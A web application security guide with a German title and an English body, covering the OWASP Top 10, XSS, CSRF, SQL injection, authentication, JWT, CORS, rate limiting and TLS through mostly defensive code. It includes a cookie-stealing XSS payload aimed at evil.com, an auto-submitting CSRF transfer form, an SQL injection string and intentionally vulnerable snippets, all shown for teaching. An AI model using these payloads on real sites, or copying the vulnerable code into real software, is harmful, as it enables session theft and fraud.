Web-Sicherheits-Leitfaden: OWASP Top 10, XSS, CSRF, SQL-Injection

Web application security is no longer optional. With data breaches costing organizations an average of $4.45 million in 2023 according to IBM, and with attack surfaces growing as applications become more complex, developers must treat security as a first-class concern from day one. This guide covers the OWASP Top 10 vulnerabilities, common attack vectors, and practical defenses you can implement today.

OWASP Top 10 (2021 Edition)

The Open Web Application Security Project (OWASP) publishes a list of the 10 most critical web application security risks every few years. The 2021 edition reflects the evolving threat landscape with three new categories and reorganized priorities.

Cross-Site Scripting (XSS)

XSS is one of the most prevalent vulnerabilities, affecting millions of websites. It occurs when an attacker injects malicious scripts into content delivered to other users. A successful XSS attack can steal session tokens, redirect users, deface websites, or install keyloggers.

XSS Types

XSS Prevention Strategies

Output Encoding

Always encode untrusted data before inserting it into HTML. Use context-appropriate encoding: HTML entity encoding for HTML content, JavaScript encoding for JS contexts, URL encoding for URLs.

// DANGEROUS: Raw user input in HTML
const name = req.query.name;
res.send('<h1>Hello ' + name + '</h1>');

// Attacker input:
// ?name=<script>document.location='https://evil.com/steal?c='+document.cookie</script>

// SAFE: Use a trusted escaping library
import { escape } from 'html-escaper';

const name = escape(req.query.name);
res.send('<h1>Hello ' + name + '</h1>');

// Output: &lt;script&gt;... (harmless)

Safe DOM APIs

Prefer textContent over innerHTML. Use createElement and setAttribute instead of building HTML strings. When you must use innerHTML, sanitize input with DOMPurify.

// DANGEROUS: innerHTML with user data
element.innerHTML = userInput;

// SAFE: textContent (no HTML parsing)
element.textContent = userInput;

// SAFE: createElement API
const span = document.createElement('span');
span.textContent = userInput;
container.appendChild(span);

// SAFE with sanitization: DOMPurify
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userInput);

// React is safe by default (JSX auto-escapes)
return <p>{userInput}</p>; // Safe
// But dangerouslySetInnerHTML is not:
return <div dangerouslySetInnerHTML={{__html: userInput}} />; // DANGER

Content Security Policy

CSP is a browser security mechanism that restricts what resources a page can load. A strong CSP policy can prevent XSS even when other defenses fail.

# Strong CSP header (Next.js / Express)
Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-{RANDOM_NONCE}';
  style-src 'self' 'nonce-{RANDOM_NONCE}';
  img-src 'self' data: https:;
  font-src 'self';
  connect-src 'self' https://api.yourapp.com;
  frame-ancestors 'none';
  base-uri 'self';
  form-action 'self';
  upgrade-insecure-requests;

# Next.js: generate per-request nonce
// middleware.ts
import { NextRequest, NextResponse } from 'next/server';
import crypto from 'crypto';

export function middleware(request: NextRequest) {
  const nonce = Buffer.from(crypto.randomUUID()).toString('base64');
  const csp = [
    "default-src 'self'",
    "script-src 'self' 'nonce-" + nonce + "'",
    "style-src 'self' 'nonce-" + nonce + "'",
    "frame-ancestors 'none'",
  ].join('; ');
  const response = NextResponse.next();
  response.headers.set('Content-Security-Policy', csp);
  response.headers.set('x-nonce', nonce);
  return response;
}

Cross-Site Request Forgery (CSRF)

CSRF attacks trick authenticated users into submitting requests they did not intend to make. A malicious site can cause a user's browser to send requests to another site where the user is logged in. The server sees a legitimate-looking request with valid session cookies.

How CSRF Works

The attack exploits the browser's behavior of automatically including cookies with cross-origin requests. The attacker hosts a page with a hidden form or image tag that sends a request to the target site. The user's browser includes their session cookie, and the server processes the request.

<!-- Attacker's malicious page (evil.com) -->
<html>
<body onload="document.forms[0].submit()">
  <form action="https://bank.com/transfer" method="POST">
    <input type="hidden" name="to" value="attacker_account" />
    <input type="hidden" name="amount" value="1000" />
  </form>
</body>
</html>

<!-- If the user is logged into bank.com and visits evil.com,
     the browser auto-submits with the user's session cookie.
     bank.com processes it as a legitimate request. -->

CSRF Prevention

SameSite Cookies

The SameSite cookie attribute controls when cookies are sent with cross-site requests. SameSite=Strict prevents all cross-site cookie sending. SameSite=Lax allows cookies in top-level navigations. This is the simplest and most effective CSRF defense.

// Express.js: Set SameSite cookie
app.use(session({
  secret: process.env.SESSION_SECRET,
  cookie: {
    httpOnly: true,   // No JS access
    secure: true,     // HTTPS only
    sameSite: 'lax',  // CSRF protection
    maxAge: 3600000,  // 1 hour
  },
}));

// SameSite values:
// 'strict' - Never sent in cross-site requests (breaks OAuth flows)
// 'lax'    - Sent in safe cross-site navigation (GET links) only
// 'none'   - Always sent (requires Secure=true)

CSRF Tokens

Generate a unique, unpredictable token for each user session. Include this token in all state-changing forms and AJAX requests. Verify the token server-side before processing the request.

// Server: Generate and verify CSRF token
import crypto from 'crypto';

// Generate token on session creation
function generateCSRFToken(): string {
  return crypto.randomBytes(32).toString('hex');
}

// Middleware to verify token
function csrfMiddleware(req: Request, res: Response, next: NextFunction) {
  if (['POST', 'PUT', 'PATCH', 'DELETE'].includes(req.method)) {
    const token = req.headers['x-csrf-token'] || req.body._csrf;
    const sessionToken = req.session.csrfToken;
    if (!token || !sessionToken || token !== sessionToken) {
      return res.status(403).json({ error: 'CSRF token invalid' });
    }
  }
  next();
}

// Client: Include token in requests
// Fetch API
fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'X-CSRF-Token': getCSRFTokenFromCookie(),
  },
  body: JSON.stringify({ amount: 100, to: 'alice' }),
});

SQL Injection

SQL injection remains one of the most dangerous vulnerabilities, allowing attackers to read sensitive data, modify database contents, execute admin operations, and even execute OS commands in some configurations. Despite being well understood, it still appears in the OWASP Top 10.

How SQL Injection Works

When user input is directly concatenated into SQL queries, an attacker can modify the query structure. By injecting SQL syntax, they can bypass authentication, extract data from other tables, or delete entire databases.

// DANGEROUS: Direct concatenation
const username = req.body.username;
const query = "SELECT * FROM users "
  + "WHERE username = '" + username + "'";

// Attack input:
// username = ' OR '1'='1
// Result query:
// SELECT * FROM users WHERE username = ''
//   OR '1'='1'
// Returns ALL users!

// SAFE: Parameterized query (node-postgres)
const username = req.body.username;
const result = await pool.query(
  'SELECT * FROM users WHERE username = $1',
  [username]  // Passed separately
);

// Attack input is treated as literal data:
// SELECT * FROM users WHERE username = ?
// Param: ' OR '1'='1
// Returns 0 rows (no such username)

ORM Protection

Modern ORMs like Sequelize, TypeORM, Prisma, and Hibernate use parameterized queries by default. Avoid raw query methods and be careful with orderBy clauses, which may not be parameterized.

// Prisma (safe by default)
const user = await prisma.user.findUnique({
  where: { email: userInput },  // Safe
});

// Prisma raw query — be careful!
// DANGEROUS:
const results = await prisma.$queryRawUnsafe(
  'SELECT * FROM users WHERE email = ' + userEmail
);

// SAFE with tagged template:
const results = await prisma.$queryRaw`
  SELECT * FROM users WHERE email = ${userEmail}
`;

// TypeORM — safe with QueryBuilder:
const user = await userRepository
  .createQueryBuilder('user')
  .where('user.email = :email', { email: userInput })
  .getOne();

// ORDER BY — user controls sort column? Use whitelist!
const ALLOWED_SORT_COLUMNS = ['name', 'email', 'createdAt'];
const sortColumn = ALLOWED_SORT_COLUMNS.includes(req.query.sort)
  ? req.query.sort : 'createdAt';
// Now safe to use in ORDER BY

Authentication Security

Authentication is the gateway to your application. Weak authentication is one of the top causes of data breaches. This section covers password security, MFA, and session management.

Password Hashing

Never store plaintext passwords or use fast general-purpose hash functions (MD5, SHA-1, SHA-256). Use purpose-built password hashing algorithms that are intentionally slow and memory-intensive. OWASP recommends Argon2id as the primary choice.

// Node.js: bcrypt (battle-tested, widely used)
import bcrypt from 'bcryptjs';

// Hashing (on registration/password change)
const COST_FACTOR = 12; // ~250ms on modern hardware
const hash = await bcrypt.hash(plaintextPassword, COST_FACTOR);
await db.users.update({ passwordHash: hash }, { where: { id: userId } });

// Verification (on login)
const isValid = await bcrypt.compare(plaintextPassword, storedHash);
if (!isValid) {
  // Constant-time comparison prevents timing attacks
  throw new AuthError('Invalid credentials');
}

// Node.js: Argon2id (OWASP primary recommendation)
import argon2 from 'argon2';

const hash = await argon2.hash(plaintextPassword, {
  type: argon2.argon2id,
  memoryCost: 19456,  // 19 MiB
  timeCost: 2,        // 2 iterations
  parallelism: 1,     // 1 thread
});

const isValid = await argon2.verify(storedHash, plaintextPassword);

// Speed comparison (attacker perspective, GPU RTX 4090):
// MD5:      ~25 billion hashes/sec  <- Never use
// SHA-256:  ~10 billion hashes/sec  <- Never use
// bcrypt:   ~50,000 hashes/sec      <- Acceptable
// Argon2id: ~1,000 hashes/sec       <- Best

Multi-Factor Authentication

MFA adds a second layer of authentication beyond passwords. Implement TOTP (Time-based One-Time Passwords) using apps like Google Authenticator or Authy. Consider hardware security keys (FIDO2/WebAuthn) for high-security applications.

// TOTP (Time-based OTP) with otplib
import { authenticator } from 'otplib';

// Setup: Generate secret for new user
const secret = authenticator.generateSecret(); // 'JBSWY3DPEHPK3PXP'
const otpAuthUrl = authenticator.keyuri(
  userEmail,
  'YourApp',
  secret
);
// Show otpAuthUrl as QR code for user to scan
// Store secret (encrypted) in database

// Verification: Check TOTP code at login
const isValidOTP = authenticator.verify({
  token: req.body.totpCode,
  secret: user.totpSecret,
});
if (!isValidOTP) {
  throw new AuthError('Invalid OTP code');
}

Session Management

Generate cryptographically random session IDs with at least 128 bits of entropy. Regenerate session IDs after authentication. Set proper expiration times. Invalidate sessions on logout and implement idle timeout.

// Secure session configuration (Express + Redis)
import session from 'express-session';
import RedisStore from 'connect-redis';
import { createClient } from 'redis';

const redisClient = createClient();
await redisClient.connect();

app.use(session({
  store: new RedisStore({ client: redisClient }),
  secret: process.env.SESSION_SECRET!, // 64+ random bytes
  name: '__Host-session',   // __Host- prefix enforces HTTPS + path=/
  resave: false,
  saveUninitialized: false,
  cookie: {
    httpOnly: true,         // No document.cookie access
    secure: true,           // HTTPS only
    sameSite: 'lax',        // CSRF protection
    maxAge: 60 * 60 * 1000, // 1 hour
  },
}));

// Regenerate session ID after login (prevents session fixation)
req.session.regenerate((err) => {
  if (err) throw err;
  req.session.userId = user.id;
  req.session.roles = user.roles;
});

JWT Security

JSON Web Tokens are widely used for stateless authentication, but they are frequently misconfigured. A single JWT security mistake can allow attackers to forge tokens and impersonate any user.

Algorithm Security

Always specify and verify the signing algorithm server-side. The "alg: none" attack bypasses verification. The algorithm confusion attack downgrades RS256 to HS256. Use RS256, ES256, or EdDSA for asymmetric signing.

// Node.js: Using jsonwebtoken library
import jwt from 'jsonwebtoken';
import fs from 'fs';

// INSECURE: HS256 with weak secret
const token = jwt.sign({ userId: 123 }, 'secret'); // NEVER do this

// SECURE: RS256 with key pair
const privateKey = fs.readFileSync('./private.pem');
const publicKey = fs.readFileSync('./public.pem');

// Sign (auth server)
const token = jwt.sign(
  {
    sub: userId,
    roles: user.roles,
    iss: 'https://auth.yourapp.com',
    aud: 'https://api.yourapp.com',
  },
  privateKey,
  {
    algorithm: 'RS256', // Asymmetric — verify with public key only
    expiresIn: '15m',   // Short-lived access token
  }
);

// Verify (resource server)
const payload = jwt.verify(token, publicKey, {
  algorithms: ['RS256'], // Whitelist — prevents algorithm confusion
  issuer: 'https://auth.yourapp.com',
  audience: 'https://api.yourapp.com',
});

// NEVER accept 'none' algorithm:
// algorithms: ['RS256'] explicitly blocks it

Expiration and Refresh Tokens

Set short expiration times for access tokens (15-60 minutes). Use refresh tokens with longer lifetimes stored securely (HttpOnly cookies). Implement refresh token rotation to detect theft.

// Refresh token pattern with rotation
interface Tokens {
  accessToken: string;   // Short-lived: 15 minutes
  refreshToken: string;  // Long-lived: 7 days (stored in Redis)
}

async function refreshTokens(refreshToken: string): Promise<Tokens> {
  // 1. Check refresh token exists and is not revoked
  const stored = await redis.get('refresh:' + refreshToken);
  if (!stored) throw new Error('Refresh token invalid or expired');

  const { userId, rotationVersion } = JSON.parse(stored);

  // 2. Revoke old refresh token (rotation)
  await redis.del('refresh:' + refreshToken);

  // 3. Issue new token pair
  const newRefreshToken = crypto.randomBytes(40).toString('hex');
  await redis.set(
    'refresh:' + newRefreshToken,
    JSON.stringify({ userId, rotationVersion: rotationVersion + 1 }),
    { EX: 7 * 24 * 60 * 60 } // 7 days
  );

  const accessToken = jwt.sign({ sub: userId }, privateKey, {
    algorithm: 'RS256',
    expiresIn: '15m',
  });

  return { accessToken, refreshToken: newRefreshToken };
}

Security Headers

Security headers are HTTP response headers that instruct browsers to enable security mechanisms. They provide defense-in-depth and protect against common attacks with minimal implementation effort.

// Express.js: Set all security headers
import helmet from 'helmet';

app.use(helmet({
  contentSecurityPolicy: {
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'"],  // Add nonce in middleware
      styleSrc: ["'self'"],
      imgSrc: ["'self'", 'data:', 'https:'],
      connectSrc: ["'self'"],
      frameAncestors: ["'none'"],
      baseUri: ["'self'"],
      formAction: ["'self'"],
    },
  },
  hsts: {
    maxAge: 31536000,
    includeSubDomains: true,
    preload: true,
  },
  frameguard: { action: 'deny' },
  noSniff: true,
  referrerPolicy: { policy: 'strict-origin-when-cross-origin' },
}));

// Nginx: Security headers block
# add_header Content-Security-Policy
#   "default-src 'self'; frame-ancestors 'none'" always;
# add_header Strict-Transport-Security
#   "max-age=31536000; includeSubDomains; preload" always;
# add_header X-Frame-Options DENY always;
# add_header X-Content-Type-Options nosniff always;
# add_header Referrer-Policy strict-origin-when-cross-origin always;

CORS Configuration

Cross-Origin Resource Sharing (CORS) controls which origins can access your API. Misconfigured CORS can allow malicious sites to make authenticated requests to your API on behalf of your users.

Allowlisting Origins

Never use the wildcard (*) for origins when credentials are involved. Maintain an explicit allowlist of permitted origins. Validate the Origin header against this allowlist before sending Access-Control-Allow-Origin.

// Express: CORS with origin validation
import cors from 'cors';

const ALLOWED_ORIGINS = [
  'https://app.yoursite.com',
  'https://www.yoursite.com',
  ...(process.env.NODE_ENV === 'development'
    ? ['http://localhost:3000']
    : []),
];

app.use(cors({
  origin: (origin, callback) => {
    // Allow requests with no origin (mobile apps, curl, server-to-server)
    if (!origin) return callback(null, true);

    if (ALLOWED_ORIGINS.includes(origin)) {
      callback(null, true);
    } else {
      callback(new Error('Not allowed by CORS'));
    }
  },
  credentials: true,     // Allow cookies (requires explicit origin)
  methods: ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS'],
  allowedHeaders: ['Content-Type', 'Authorization', 'X-CSRF-Token'],
  maxAge: 86400,          // Cache preflight for 24 hours
}));

Rate Limiting and DDoS Protection

Rate limiting prevents abuse of your API endpoints. Without it, attackers can brute-force passwords, scrape data, spam endpoints, and overwhelm your infrastructure.

Rate Limiting Strategies

// Express: Rate limiting with express-rate-limit + Redis
import rateLimit from 'express-rate-limit';
import RedisStore from 'rate-limit-redis';

// Global API rate limit
const apiLimiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 minutes
  max: 100,                  // 100 requests per window
  standardHeaders: 'draft-7',
  legacyHeaders: false,
  store: new RedisStore({ sendCommand: (...args) => redis.sendCommand(args) }),
  message: { error: 'Too many requests, please try again later.' },
});

// Strict login rate limit (prevent brute-force)
const loginLimiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 minutes
  max: 5,                    // 5 attempts per window
  skipSuccessfulRequests: true, // Only count failures
  message: { error: 'Too many failed login attempts. Try again in 15 minutes.' },
});

// Password reset: prevent enumeration + abuse
const resetLimiter = rateLimit({
  windowMs: 60 * 60 * 1000, // 1 hour
  max: 3,
});

app.use('/api/', apiLimiter);
app.post('/api/auth/login', loginLimiter, loginHandler);
app.post('/api/auth/forgot-password', resetLimiter, resetHandler);

Dependency Security

Modern applications depend on hundreds or thousands of third-party packages. Each dependency is a potential attack surface. Supply chain attacks (like the SolarWinds breach) have shown that trusted packages can be compromised.

Automated Vulnerability Scanning

Run npm audit, yarn audit, or pnpm audit in your CI pipeline. Integrate Snyk, Dependabot, or GitHub Dependabot for automated pull requests when vulnerabilities are discovered. Set severity thresholds that fail the build.

# Run in CI — fail on high/critical vulnerabilities
npm audit --audit-level=high

# GitHub Actions: Add Dependabot
# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: npm
    directory: /
    schedule:
      interval: weekly
    open-pull-requests-limit: 10
    labels:
      - dependencies
      - security

# GitHub Actions: Snyk security scan
- name: Run Snyk security scan
  uses: snyk/actions/node@master
  with:
    args: --severity-threshold=high
  env:
    SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}

Lock Files

Always commit lock files (package-lock.json, yarn.lock, pnpm-lock.yaml). Lock files ensure reproducible builds and prevent dependency confusion attacks. Use npm ci instead of npm install in CI/CD.

CVSS Vulnerability Scoring

The Common Vulnerability Scoring System (CVSS) provides a standardized way to rate the severity of security vulnerabilities on a scale from 0 to 10.

Security Testing

Security testing should be integrated into every stage of the software development lifecycle, not just done once before deployment.

HTTPS and TLS

HTTPS encrypts all communication between clients and servers. Without it, session tokens, credentials, and sensitive data are visible to network attackers. HTTPS is no longer optional — it is the baseline.

HTTP Strict Transport Security (HSTS)

HSTS tells browsers to always use HTTPS for your domain. This prevents SSL stripping attacks and protocol downgrade attacks. Use a max-age of at least one year (31536000 seconds) and include subdomains.

# Nginx: Enable HSTS
server {
  listen 443 ssl http2;
  server_name yourapp.com www.yourapp.com;

  # HSTS: 1 year, include subdomains, preload
  add_header Strict-Transport-Security
    "max-age=31536000; includeSubDomains; preload" always;

  # Redirect all HTTP to HTTPS
  # (In a separate server block)
}

server {
  listen 80;
  server_name yourapp.com www.yourapp.com;
  return 301 https://$host$request_uri;
}

# TLS configuration best practices
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:...;
ssl_prefer_server_ciphers off;  # TLS 1.3 client preference
ssl_session_timeout 1d;
ssl_session_cache shared:MozSSL:10m;
ssl_stapling on;  # OCSP stapling
ssl_stapling_verify on;

Frequently Asked Questions